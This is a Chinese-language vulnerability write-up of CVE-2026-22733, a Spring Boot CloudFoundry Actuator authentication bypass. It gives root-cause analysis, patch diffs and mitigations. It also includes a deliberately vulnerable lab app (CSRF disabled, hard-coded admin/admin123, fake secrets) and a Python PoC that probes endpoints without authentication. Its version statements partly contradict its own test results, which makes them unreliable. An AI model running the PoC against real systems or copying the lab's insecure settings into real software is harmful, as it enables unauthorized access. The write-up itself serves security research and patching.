Spring Boot CloudFoundry Actuator 认证绕过漏洞 CVE-2026-22733
Spring Boot CloudFoundry Actuator 认证绕过漏洞 CVE-2026-22733
Spring Boot CloudFoundry Actuator 认证绕过漏洞 CVE-2026-22733
版本信息
影响版本:
4.0.0 - 4.0.3
3.5.0 - 3.5.11
3.4.0 - 3.4.14
3.3.0 - 3.3.17
2.7.0 - 2.7.31
漏洞描述
说到底,这个洞是 CloudFoundry Actuator 的安全配置和 HandlerMapping 配合不当造成的。
Spring CloudFoundry Actuator 的自动配置会创建一个 IgnoredCloudFoundryPathsWebSecurityCustomizer,它通过 web.ignoring() 让 Spring Security 忽略 /cloudfoundryapplication/** 路径下的所有请求。在 Spring Boot 2.7.0 - 2.7.8 中,这个配置直接忽略了整个路径:
web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));这意味着任何映射到 /cloudfoundryapplication/ 下的端点都不需要认证。
同时,CloudFoundryWebEndpointServletHandlerMapping 只处理真正注册了的 CloudFoundry 端点。对于没有注册的路径(比如自定义的 /cloudfoundryapplication/admin),请求会直接 fall through 到其他 HandlerMapping——也就是你的自定义 Controller。
这样一来:
- Spring Security 忽略了整个
/cloudfoundryapplication/**路径 - CloudFoundry HandlerMapping 只处理已注册端点,未知路径 fall through
- 自定义 Controller 接了请求,返回了受保护的数据,且不需要任何认证
认证就这么绕过去了。
环境搭建
踩坑过程
一开始我想直接用最新的 Spring Boot 版本来搭,结果踩了个坑。
我先用 Spring Boot 3.3.13 搭了一个环境,CloudFoundry 自动配置确实激活了,日志里能看到 CloudFoundryActuatorAutoConfiguration 在初始化。但是测试的时候发现不对劲——访问 /cloudfoundryapplication/admin 返回的是 401,而不是预期的漏洞利用成功。
让我看看日志:
INFO --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Or [Ant [pattern='/cloudfoundryapplication/beans/**'], Ant [pattern='/cloudfoundryapplication/caches/**'], ...]有意思了。这里忽略的不是整个 /cloudfoundryapplication/**,而是只忽略了具体的端点路径。这意味着在 3.3.x 版本里,Spring 已经有了一些改进。
然后我又试了 Spring Boot 2.7.18,结果一样。3.3.13 和 2.7.18 都用了改进后的方式——只忽略已注册的端点列表。
最后我换成了 Spring Boot 2.7.8,这才触发了真正的漏洞。让我看一下 2.7.8 的日志:
WARN --- o.s.s.c.a.web.builders.WebSecurity : You are asking Spring Security to ignore Ant [pattern='/cloudfoundryapplication/**']. This is not recommended
INFO --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Ant [pattern='/cloudfoundryapplication/**']最终环境配置
最终我用的是 Spring Boot 2.7.8 + Maven + Java 11。
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.vuln</groupId>
<artifactId>spring-boot-actuator-bypass</artifactId>
<version>1.0.0</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.8</version>
</parent>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
</project>关键配置(application.properties):
server.port=8080
spring.application.name=vulnerable-actuator-app
spring.main.cloud-platform=CLOUD_FOUNDRY
management.cloudfoundry.enabled=true
management.endpoints.web.exposure.include=*这里有个关键配置 spring.main.cloud-platform=CLOUD_FOUNDRY,这个会触发 CloudFoundry Actuator 的自动配置。没有这个配置的话,CloudFoundry 自动配置不会激活。
安全配置(SecurityConfig.java):
package com.vuln.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
import org.springframework.security.web.SecurityFilterChain;
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/actuator/health").permitAll()
.antMatchers("/cloudfoundryapplication/**").authenticated()
.anyRequest().authenticated()
.and()
.httpBasic()
.and()
.csrf().disable();
return http.build();
}
@Bean
public UserDetailsService userDetailsService() {
var user = User.builder()
.username("admin")
.password(new BCryptPasswordEncoder().encode("admin123"))
.roles("ADMIN")
.build();
return new InMemoryUserDetailsManager(user);
}
}这里我特意在配置里写了 .antMatchers("/cloudfoundryapplication/**").authenticated(),意思是我想让这个路径下的接口需要登录才能访问。但是 CloudFoundry 自动配置会把这个路径完全忽略掉,导致这个配置不生效。
自定义控制器(CloudFoundryAppController.java):
package com.vuln.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping("/cloudfoundryapplication")
public class CloudFoundryAppController {
@GetMapping("/admin")
public String admin() {
return "ADMIN_ENDPOINT_EXPOSED - This should require authentication!";
}
@GetMapping("/secrets")
public String secrets() {
return "SECRET_DATA: database_password=root123, api_key=sk-secret-key";
}
@GetMapping("/health")
public String health() {
return "System is healthy";
}
}这个控制器映射到了 /cloudfoundryapplication/ 下面。按理说应该需要登录才能访问,但是因为 Spring Security 被 CloudFoundry 自动配置绕过掉了,所以不需要任何认证。
启动验证
打包并启动应用:
mvn clean package -DskipTests
java -jar target/spring-boot-actuator-bypass-1.0.0.jar启动后看日志,确认 CloudFoundry 自动配置生效了:
WARN --- o.s.s.c.a.web.builders.WebSecurity : You are asking Spring Security to ignore Ant [pattern='/cloudfoundryapplication/**']. This is not recommended
INFO --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Ant [pattern='/cloudfoundryapplication/**']这两个日志很关键。第一个是警告说 Spring Security 被要求忽略这个路径,第二个是确认 Security FilterChain 不会保护这个路径。这说明 CloudFoundry 自动配置生效了。
漏洞复现
直接访问受保护端点
环境跑起来了,直接试一下:

没带任何认证信息,直接就返回了 200 和数据。按理说应该返回 401 需要认证的,结果直接就进去了。
再试一下 secrets 端点:

对比正常受保护端点
为了证明问题确实出在 /cloudfoundryapplication/ 路径,我再创建一个正常的受保护端点:
@RestController
public class NormalController {
@GetMapping("/normal")
public String normal() {
return "This is a normal protected endpoint";
}
}访问这个端点:

需要认知,这说明 Spring Security 配置本身是生效的,问题确实出在 /cloudfoundryapplication/** 这个路径被 CloudFoundry 的 web.ignoring() 完全忽略了。
漏洞分析
环节一:CloudFoundry 自动配置的 web.ignoring()
这个漏洞的核心在于 CloudFoundryActuatorAutoConfiguration 中的 IgnoredCloudFoundryPathsWebSecurityCustomizer。
文件位置:spring-boot-actuator-autoconfigure-2.7.8.jar!/org/springframework/boot/actuate/autoconfigure/cloudfoundry/servlet/CloudFoundryActuatorAutoConfiguration$IgnoredCloudFoundryPathsWebSecurityCustomizer
从 jar 包里反编译出来看:
@Order(SecurityProperties.IGNORED_ORDER)
static class IgnoredCloudFoundryPathsWebSecurityCustomizer implements WebSecurityCustomizer {
@Override
public void customize(WebSecurity web) {
web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));
}
}这个类实现了 WebSecurityCustomizer 接口,Spring Security 会在初始化的时候调用它的 customize() 方法。web.ignoring() 的作用是让 Spring Security 完全忽略这些请求,连 FilterChain 都不走。
@Order(SecurityProperties.IGNORED_ORDER) 这个注解指定了它的优先级。Spring Security 用这个值来决定各个自定义配置的加载顺序,IGNORED_ORDER 的值很低,意味着这个配置会在其他配置之前执行。
为什么这么设计?
CloudFoundry 平台的认证机制跟普通应用不一样。它不是通过 Spring Security 的 FilterChain 来做认证的,而是通过 CloudFoundrySecurityInterceptor 这个 Handler 级别的拦截器来做。所以 Spring 的设计思路是:把 /cloudfoundryapplication/** 的请求从 Spring Security 那儿放过去,让它走 CloudFoundry 自己的认证流程。
问题在于,CloudFoundrySecurityInterceptor 只处理已注册的 CloudFoundry 端点。如果你自定义了一个 Controller 映射到这个路径下,请求压根不会走到 CloudFoundrySecurityInterceptor,而是直接被你的 Controller 处理了。web.ignoring() 把请求从 Spring Security 放过去了,但是 Handler 级别的认证检查也没生效。
2.7.9+ 版本
后来 Spring 可能也发现了这个问题,在 2.7.9 版本里改成了只忽略已注册的端点列表:
@Override
public void customize(WebSecurity web) {
List<RequestMatcher> requestMatchers = new ArrayList<>();
this.pathMappedEndpoints.getAllPaths()
.forEach((path) -> requestMatchers.add(new AntPathRequestMatcher(path + "/**")));
requestMatchers.add(new AntPathRequestMatcher(BASE_PATH));
requestMatchers.add(new AntPathRequestMatcher(BASE_PATH + "/"));
web.ignoring().requestMatchers(new OrRequestMatcher(requestMatchers));
}这里用 OrRequestMatcher 把已注册的端点路径组合起来,而不是直接忽略整个 /cloudfoundryapplication/**。但是这也只是改进,不是完整修复,因为 HandlerMapping 层还是没加 catch-all,未知路径仍然会 fall through。
环节二:HandlerMapping 没有 catch-all
Spring MVC 处理请求的时候,会遍历所有的 HandlerMapping 来找能处理当前请求的那个。
文件位置:CloudFoundryWebEndpointServletHandlerMapping
这个 HandlerMapping 只处理真正注册了的 CloudFoundry 端点:
class CloudFoundryWebEndpointServletHandlerMapping extends AbstractWebMvcEndpointHandlerMapping {
private final CloudFoundrySecurityInterceptor securityInterceptor;
private final EndpointLinksResolver linksResolver;
protected LinksHandler getLinksHandler() {
return new CloudFoundryLinksHandler();
}
}对于未知路径(比如 /cloudfoundryapplication/admin),它会返回 null:
Spring MVC 遍历 HandlerMapping:
1. CloudFoundryWebEndpointServletHandlerMapping
→ 匹配 /cloudfoundryapplication/**
→ 但 /admin 不是注册的端点,返回 null
2. RequestMappingHandlerMapping
→ 匹配 /cloudfoundryapplication/admin
→ 找到 @GetMapping("/admin"),返回 Handler当 HandlerMapping 返回 null 的时候,Spring MVC 会继续找下一个 HandlerMapping 直到找到一个能处理请求的。RequestMappingHandlerMapping 是处理普通 @Controller 的,它不认识 CloudFoundry 的端点,但是认识我们自定义的 Controller 啊。
结果就是请求直接到了 CloudFoundryAppController,绕过了所有的安全检查。
环节三:请求处理流程
完整走一遍:
1. 请求: GET /cloudfoundryapplication/admin
2. Spring Security FilterChain:
→ WebSecurityConfigurerAdapter 配置了 .authenticated()
→ 但是 IgnoredCloudFoundryPathsWebSecurityCustomizer 用 web.ignoring() 忽略了 /cloudfoundryapplication/**
→ Security FilterChain 跳过这个请求,不检查认证
3. Spring MVC HandlerMapping 查找:
→ CloudFoundryWebEndpointServletHandlerMapping.getHandler()
- /admin 不是注册的 CloudFoundry 端点
- 返回 null,请求继续传递
→ RequestMappingHandlerMapping.getHandler()
- 找到 @GetMapping("/admin")
- 返回 CloudFoundryAppController + admin() 方法
4. 执行 CloudFoundryAppController.admin():
return "ADMIN_ENDPOINT_EXPOSED - This should require authentication!";
5. 响应: HTTP 200 "ADMIN_ENDPOINT_EXPOSED..."关键点:
- 步骤 2 中,Spring Security 完全忽略了这个请求
- 步骤 3 中,CloudFoundry HandlerMapping 没有拦截,请求 fall through 到自定义 Controller
- 步骤 4 中,Controller 直接返回了数据,没有认证检查
漏洞修复
修复一:Security 改为选择性忽略(2.7.9+ 改进,非完整修复)
这只是中间改进,2.7.9 - 2.7.18 版本仍然存在漏洞。
改进前(Spring Boot 2.7.0 - 2.7.8):
@Override
public void customize(WebSecurity web) {
web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));
}改进后(Spring Boot 2.7.9 - 2.7.18):
@Override
public void customize(WebSecurity web) {
List<RequestMatcher> requestMatchers = new ArrayList<>();
this.pathMappedEndpoints.getAllPaths()
.forEach((path) -> requestMatchers.add(new AntPathRequestMatcher(path + "/**")));
requestMatchers.add(new AntPathRequestMatcher(BASE_PATH));
requestMatchers.add(new AntPathRequestMatcher(BASE_PATH + "/"));
web.ignoring().requestMatchers(new OrRequestMatcher(requestMatchers));
}这里把整个路径的忽略改成了只忽略已注册的端点。但是 CloudFoundryWebEndpointServletHandlerMapping 还是没有 catch-all handler,所以未知路径仍然会 fall through 到其他 HandlerMapping。漏洞依然存在。
修复二:HandlerMapping 添加 catch-all(4.0.4 / 3.5.12 完整修复)
这是真正解决问题的修复。在 CloudFoundryWebEndpointServletHandlerMapping 中重写了 initHandlerMethods():
@Override
protected void initHandlerMethods() {
super.initHandlerMethods();
registerCatchAllMapping(HttpStatus.FORBIDDEN);
}在基类 AbstractWebMvcEndpointHandlerMapping 中实现 registerCatchAllMapping():
protected void registerCatchAllMapping(HttpStatus responseStatus) {
String subPath = this.endpointMapping.createSubPath("/**");
registerMapping(
RequestMappingInfo.paths(subPath).options(this.builderConfig).build(),
new CatchAllHandler(responseStatus),
this.catchAllMethod
);
}
private static final class CatchAllHandler {
private final HttpStatus responseStatus;
CatchAllHandler(HttpStatus responseStatus) {
this.responseStatus = responseStatus;
}
void handle(HttpServletResponse response) {
response.setStatus(this.responseStatus.value());
}
}逻辑很简单:注册一个匹配 /** 的 Handler,对所有未匹配的请求直接返回 HTTP 403。这样 /cloudfoundryapplication/** 下所有未知路径都被拦截了,不会 fall through 到自定义 Controller。
修复后的行为
$ curl -o /dev/null -w "%{http_code}" http://localhost:8080/cloudfoundryapplication/admin
403未知端点直接返回 403 Forbidden。
漏洞修复建议
方案一:升级 Spring Boot
这是最推荐的方案
方案二:修改接口路径
不要把自定义端点映射到 /cloudfoundryapplication/ 路径下。
@RestController
@RequestMapping("/api/admin") // 改成其他路径
public class CloudFoundryAppController {
// ...
}Spring 官方也不推荐把应用端点放在 Actuator 的基础设施路径下,这样会干扰其他配置。
方案三:手动添加 Filter
如果暂时无法升级或修改代码,可以在 SecurityConfig 里手动添加一个 Filter 来拦截未知路径:
@Bean
public FilterRegistrationBean<CatchAllFilter> catchAllFilter() {
FilterRegistrationBean<CatchAllFilter> registration = new FilterRegistrationBean<>();
registration.setFilter(new CatchAllFilter());
registration.addUrlPatterns("/cloudfoundryapplication/*");
registration.setOrder(Ordered.HIGHEST_PRECEDENCE);
return registration;
}
public static class CatchAllFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
}
}PoC 脚本
#!/usr/bin/env python3
"""
CVE-2026-22733 Spring Boot CloudFoundry Actuator Authentication Bypass PoC
"""
import sys
import requests
from urllib.parse import urljoin
def test_bypass(target_url):
"""测试认证绕过漏洞"""
endpoints = [
"/cloudfoundryapplication/admin",
"/cloudfoundryapplication/secrets",
"/cloudfoundryapplication/health",
]
print(f"[*] 目标: {target_url}")
print(f"[*] 开始测试认证绕过漏洞...\n")
vulnerable_endpoints = []
for endpoint in endpoints:
url = urljoin(target_url, endpoint)
try:
response = requests.get(url, timeout=5, verify=False)
status_icon = "[VULN]" if response.status_code == 200 else "[SAFE]"
print(f"{status_icon} {endpoint}")
print(f" HTTP状态: {response.status_code}")
print(f" 响应内容: {response.text[:100]}...")
if response.status_code == 200:
vulnerable_endpoints.append(endpoint)
print(f" [!] 存在认证绕过!未认证即可访问")
else:
print(f" [-] 认证正常,需要登录")
print()
except Exception as e:
print(f" [x] 请求失败: {e}")
print()
print(f"\n{'='*50}")
print(f"测试结果:")
print(f"{'='*50}")
if vulnerable_endpoints:
print(f"\n[VULN] 漏洞存在!以下端点存在认证绕过:")
for ep in vulnerable_endpoints:
print(f" - {ep}")
print(f"\n攻击者无需任何认证即可访问这些端点")
else:
print(f"\n[SAFE] 所有测试端点都需要认证,漏洞可能已修复")
return len(vulnerable_endpoints) > 0
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url>")
print(f"示例: {sys.argv[0]} http://localhost:8080")
sys.exit(1)
target = sys.argv[1]
test_bypass(target)参考资料
免责声明
本报告仅用于安全研究和教育目的。
- 本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
- 未经授权对他人系统进行测试属于违法行为
- 作者不对任何滥用本报告内容造成的后果负责